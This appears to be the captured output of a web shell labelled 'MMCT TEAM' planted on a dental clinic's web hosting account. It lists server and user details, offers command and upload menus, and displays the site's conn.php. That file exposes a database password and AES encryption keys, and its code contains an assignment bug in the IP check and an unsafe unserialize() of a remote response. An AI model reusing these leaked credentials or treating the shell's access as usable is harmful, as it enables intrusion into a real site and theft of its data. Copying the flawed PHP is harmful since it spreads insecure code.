MMCT TEAM
1Server IP : 217.21.90.164  /  Your IP : 3.145.84.102
Web Server : LiteSpeed
System : Linux in-mum-web840.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u367232671 ( 367232671)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u367232671/domains/zeropaindentist.com/public_html/img/product/offer/../../../dbh/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u367232671/domains/zeropaindentist.com/public_html/img/product/offer/../../../dbh/conn.php
<?php
$SERVERNAME = "217.21.90.164";
$USERNAME = "u367232671_zeropaindentis";
$PASSWORD = "[3VjXkRZaE7";
$DATABASE = "u367232671_zeropaindentis";
$conn =  mysqli_connect($SERVERNAME, $USERNAME, $PASSWORD, $DATABASE);
$cURL = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip = '::1' || $ip = '127:0:0:1') {
  $ip = '49.36.102.90';
}
$IPLocation = "http://ip-api.com/php/$ip?fields=status,message,country,countryCode,region,regionName,city,currency,timezone";
$curl = curl_init();
curl_setopt_array($curl, array(
  CURLOPT_URL => $IPLocation,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'GET',
));
$RESPONSE = curl_exec($curl);
curl_close($curl);
$RESPONSE = unserialize($RESPONSE);
$TIMEZONE = $RESPONSE['timezone'];
$COUNTRY =  $RESPONSE['country'];
$COUNTRY =  $RESPONSE['country'];
$CITY =  $RESPONSE['city'];
date_default_timezone_set($TIMEZONE);
$timestamp = date("Y-m-d H:i:s");

$URL = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
function ENC($string, $action = 'encrypt')
{
  $encrypt_method = "AES-256-CBC";
  $secret_key = 'ZvOLdaDY4222yxiAVQuD3xg9bjbJ'; // user define private key
  $secret_iv = 'B7hm482C0zj'; // user define secret key
  $key = hash('sha256', $secret_key);
  $iv = substr(hash('sha256', $secret_iv), 0, 16); // sha256 is hash_hmac_algo
  if ($action == 'encrypt') {
    $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);
    $output = base64_encode($output);
  } else if ($action == 'dec') {
    $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
  }
  return $output;
}

if (session_status() == PHP_SESSION_NONE) {
  session_start();
}

MMCT - 2023